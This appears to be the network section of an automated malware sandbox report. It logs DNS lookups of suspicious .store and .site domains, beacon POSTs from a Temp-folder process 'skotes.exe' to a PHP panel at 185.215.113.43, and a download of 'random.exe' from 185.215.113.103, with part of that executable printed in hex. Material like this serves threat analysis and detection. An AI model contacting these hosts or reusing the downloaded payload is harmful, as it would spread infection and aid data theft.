Oct 7, 2024 03:23:43.140460014 CEST	52889	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:43.148439884 CEST	53	52889	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:43.150741100 CEST	56035	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:43.159609079 CEST	53	56035	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:43.161724091 CEST	54310	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:43.170418978 CEST	53	54310	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:43.173115015 CEST	63294	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:43.180999041 CEST	53	63294	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:43.183098078 CEST	51058	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:43.191339016 CEST	53	51058	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:43.193494081 CEST	58735	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:43.202054977 CEST	53	58735	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:43.206305027 CEST	56407	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:43.213697910 CEST	53	56407	1.1.1.1	192.168.2.4
Oct 7, 2024 03:24:06.988622904 CEST	62159	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:24:06.997631073 CEST	53	62159	1.1.1.1	192.168.2.4
Oct 7, 2024 03:24:06.999079943 CEST	56028	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:24:07.011023998 CEST	53	56028	1.1.1.1	192.168.2.4
Oct 7, 2024 03:24:07.014039040 CEST	63822	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:24:07.023117065 CEST	53	63822	1.1.1.1	192.168.2.4
Oct 7, 2024 03:24:07.025018930 CEST	49932	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:24:07.034996033 CEST	53	49932	1.1.1.1	192.168.2.4
Oct 7, 2024 03:24:07.045886993 CEST	50984	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:24:07.054464102 CEST	53	50984	1.1.1.1	192.168.2.4
Oct 7, 2024 03:24:07.057096004 CEST	49352	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:24:07.077050924 CEST	53	49352	1.1.1.1	192.168.2.4
Oct 7, 2024 03:24:07.080293894 CEST	63695	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:24:07.088821888 CEST	53	63695	1.1.1.1	192.168.2.4
Oct 7, 2024 03:24:07.091064930 CEST	63468	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:24:07.099544048 CEST	53	63468	1.1.1.1	192.168.2.4
Oct 7, 2024 03:24:07.111519098 CEST	49277	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:24:07.118462086 CEST	53	49277	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 03:23:14.250114918 CEST	192.168.2.4	1.1.1.1	0xc3e8	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:14.251446009 CEST	192.168.2.4	1.1.1.1	0x5dc0	Standard query (0)	youtube.com	65	IN (0x0001)	false
Oct 7, 2024 03:23:15.267945051 CEST	192.168.2.4	1.1.1.1	0x1060	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.268218994 CEST	192.168.2.4	1.1.1.1	0x23e	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Oct 7, 2024 03:23:18.631154060 CEST	192.168.2.4	1.1.1.1	0xd9f0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:18.631432056 CEST	192.168.2.4	1.1.1.1	0x89ec	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 03:23:21.564332962 CEST	192.168.2.4	1.1.1.1	0x4a04	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.575021982 CEST	192.168.2.4	1.1.1.1	0x78d0	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.589812040 CEST	192.168.2.4	1.1.1.1	0x7e40	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.613977909 CEST	192.168.2.4	1.1.1.1	0x75b9	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.626466036 CEST	192.168.2.4	1.1.1.1	0xd5a6	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.647742987 CEST	192.168.2.4	1.1.1.1	0x165d	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.662026882 CEST	192.168.2.4	1.1.1.1	0x56ab	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.683049917 CEST	192.168.2.4	1.1.1.1	0xa3ab	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.701654911 CEST	192.168.2.4	1.1.1.1	0x1162	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:23.007440090 CEST	192.168.2.4	1.1.1.1	0xc3ed	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:23.201172113 CEST	192.168.2.4	1.1.1.1	0x7bbb	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:23.201781034 CEST	192.168.2.4	1.1.1.1	0x5821	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Oct 7, 2024 03:23:24.391823053 CEST	192.168.2.4	1.1.1.1	0x7119	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:24.392416000 CEST	192.168.2.4	1.1.1.1	0x3e86	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 7, 2024 03:23:43.117800951 CEST	192.168.2.4	1.1.1.1	0x9fbe	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.128998995 CEST	192.168.2.4	1.1.1.1	0xfdc5	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.140460014 CEST	192.168.2.4	1.1.1.1	0x39b1	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.150741100 CEST	192.168.2.4	1.1.1.1	0x31a9	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.161724091 CEST	192.168.2.4	1.1.1.1	0xef71	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.173115015 CEST	192.168.2.4	1.1.1.1	0xe5b4	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.183098078 CEST	192.168.2.4	1.1.1.1	0x25de	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.193494081 CEST	192.168.2.4	1.1.1.1	0x34b3	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.206305027 CEST	192.168.2.4	1.1.1.1	0x3b8a	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:06.988622904 CEST	192.168.2.4	1.1.1.1	0xc326	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:06.999079943 CEST	192.168.2.4	1.1.1.1	0x9488	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.014039040 CEST	192.168.2.4	1.1.1.1	0xb0a3	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.025018930 CEST	192.168.2.4	1.1.1.1	0x6dd9	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.045886993 CEST	192.168.2.4	1.1.1.1	0x44ee	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.057096004 CEST	192.168.2.4	1.1.1.1	0x4e6a	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.080293894 CEST	192.168.2.4	1.1.1.1	0x8044	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.091064930 CEST	192.168.2.4	1.1.1.1	0xa3f2	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.111519098 CEST	192.168.2.4	1.1.1.1	0x8225	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 03:23:14.336265087 CEST	1.1.1.1	192.168.2.4	0x5dc0	No error (0)	youtube.com			65	IN (0x0001)	false
Oct 7, 2024 03:23:14.336280107 CEST	1.1.1.1	192.168.2.4	0xc3e8	No error (0)	youtube.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274511099 CEST	1.1.1.1	192.168.2.4	0x1060	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274835110 CEST	1.1.1.1	192.168.2.4	0x23e	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:23:15.274835110 CEST	1.1.1.1	192.168.2.4	0x23e	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Oct 7, 2024 03:23:18.638856888 CEST	1.1.1.1	192.168.2.4	0xd9f0	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:18.639261007 CEST	1.1.1.1	192.168.2.4	0x89ec	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 03:23:21.572854042 CEST	1.1.1.1	192.168.2.4	0x4a04	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.583261013 CEST	1.1.1.1	192.168.2.4	0x78d0	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.612613916 CEST	1.1.1.1	192.168.2.4	0x7e40	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.622792959 CEST	1.1.1.1	192.168.2.4	0x75b9	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.634896994 CEST	1.1.1.1	192.168.2.4	0xd5a6	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.655973911 CEST	1.1.1.1	192.168.2.4	0x165d	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.670794964 CEST	1.1.1.1	192.168.2.4	0x56ab	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.691152096 CEST	1.1.1.1	192.168.2.4	0xa3ab	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:21.708651066 CEST	1.1.1.1	192.168.2.4	0x1162	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:23.016555071 CEST	1.1.1.1	192.168.2.4	0xc3ed	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:23.016555071 CEST	1.1.1.1	192.168.2.4	0xc3ed	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:23.208131075 CEST	1.1.1.1	192.168.2.4	0x7bbb	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:23:23.208131075 CEST	1.1.1.1	192.168.2.4	0x7bbb	No error (0)	www3.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:23.208849907 CEST	1.1.1.1	192.168.2.4	0x5821	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:23:24.398504019 CEST	1.1.1.1	192.168.2.4	0x7119	No error (0)	play.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.126656055 CEST	1.1.1.1	192.168.2.4	0x9fbe	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.137584925 CEST	1.1.1.1	192.168.2.4	0xfdc5	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.148439884 CEST	1.1.1.1	192.168.2.4	0x39b1	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.159609079 CEST	1.1.1.1	192.168.2.4	0x31a9	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.170418978 CEST	1.1.1.1	192.168.2.4	0xef71	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.180999041 CEST	1.1.1.1	192.168.2.4	0xe5b4	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.191339016 CEST	1.1.1.1	192.168.2.4	0x25de	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.202054977 CEST	1.1.1.1	192.168.2.4	0x34b3	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:23:43.213697910 CEST	1.1.1.1	192.168.2.4	0x3b8a	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:06.997631073 CEST	1.1.1.1	192.168.2.4	0xc326	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.011023998 CEST	1.1.1.1	192.168.2.4	0x9488	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.023117065 CEST	1.1.1.1	192.168.2.4	0xb0a3	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.034996033 CEST	1.1.1.1	192.168.2.4	0x6dd9	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.054464102 CEST	1.1.1.1	192.168.2.4	0x44ee	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.077050924 CEST	1.1.1.1	192.168.2.4	0x4e6a	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.088821888 CEST	1.1.1.1	192.168.2.4	0x8044	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.099544048 CEST	1.1.1.1	192.168.2.4	0xa3f2	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:24:07.118462086 CEST	1.1.1.1	192.168.2.4	0x8225	No error (0)	steamcommunity.com		23.199.218.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

otelrules.azureedge.net

youtube.com

www.youtube.com

fs.microsoft.com

steamcommunity.com

sergei-esenin.com

https:

accounts.youtube.com

play.google.com

185.215.113.43

185.215.113.103

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49788	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:05.757905960 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 03:23:06.470586061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49804	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:07.991817951 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 7, 2024 03:23:08.703869104 CEST	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 01:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 35 0d 0a 20 3c 63 3e 31 30 30 30 33 33 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 35 62 31 63 37 37 33 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 33 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 36 62 31 64 38 36 62 64 64 34 66 35 39 62 33 31 64 65 31 35 34 34 31 23 31 30 30 30 33 34 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 66 65 61 31 63 36 37 65 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 <c>1000332001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e5b1c773dd534db057eb410a494d9d#1000336001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e6b1d86bdd4f59b31de15441#1000349001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4fea1c67edd534db057eb410a494d9d#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49810	185.215.113.103	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:23:08.713150024 CEST	56	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 7, 2024 03:23:09.457201958 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 07 Oct 2024 01:11:45 GMT ETag: "e0600-623d8b459b4e3" Accept-Ranges: bytes Content-Length: 919040 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 49 35 03 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELI5g"Vw@`V@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Oct 7, 2024 03:23:09.457281113 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$D
Oct 7, 2024 03:23:09.457346916 CEST	1236	IN	Data Raw: 59 c3 b9 04 25 4d 00 e8 9d 98 00 00 68 3f 24 44 00 e8 d5 ef 01 00 59 c3 56 8b f1 8d 4e 18 e8 b4 87 00 00 8d 4e 08 e8 ac 87 00 00 6a 28 56 e8 e2 ec 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 ec 38 c7 05 30 14 4d 00 74 c9 49 00 33 d2 c7 05 9c 18 4d Data Ascii: Y%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMMMYMMM3MTMXM\M`MdMh
Oct 7, 2024 03:23:09.457411051 CEST	1236	IN	Data Raw: 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff 0f 87 f1 0f 04 00 ff b7 40 fd ff ff 89 9f 44 Data Ascii: L@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Oct 7, 2024 03:23:09.457470894 CEST	1236	IN	Data Raw: 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d 00 89 0d 4c 15 4d 00 c3 55 8b ec 57 8b f9 80 Data Ascii: Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&N
Oct 7, 2024 03:23:09.457515955 CEST	272	IN	Data Raw: 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 ec 00 8d 45 ec 83 65 f4 00 56 83 ce ff c7 45 Data Ascii: 3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t(M@f9X
Oct 7, 2024 03:23:09.457750082 CEST	1236	IN	Data Raw: ec 83 ec 1c 33 d2 42 53 56 57 8b c2 50 8d 50 01 89 55 fc e8 55 07 00 00 8b f8 85 ff 0f 84 c3 00 00 00 8d 4a ff 89 0d 28 15 4d 00 8b 4f 04 8b 31 66 83 7e 08 00 75 d3 8b 36 83 fe 20 74 05 83 fe 2b 75 c7 83 fe 2b 0f 94 c3 33 c0 83 fe 2b 0f 94 c0 8d Data Ascii: 3BSVWPPUUJ(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuBAEESPEPEPWDMnwU%lMc3_^
Oct 7, 2024 03:23:09.457798004 CEST	1236	IN	Data Raw: 53 50 ff 75 f0 57 e8 0f 04 00 00 85 c0 0f 89 08 ff ff ff e9 82 00 00 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 c7 04 04 00 8b 45 f4 48 4f 83 bd 54 ff ff ff 00 89 45 f4 0f 84 9e 02 04 00 80 bd 5d ff ff ff 00 8b 45 bc 0f 85 96 02 04 00 8b 18 8d 8d 54 Data Ascii: SPuWAjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl`MTM_^[
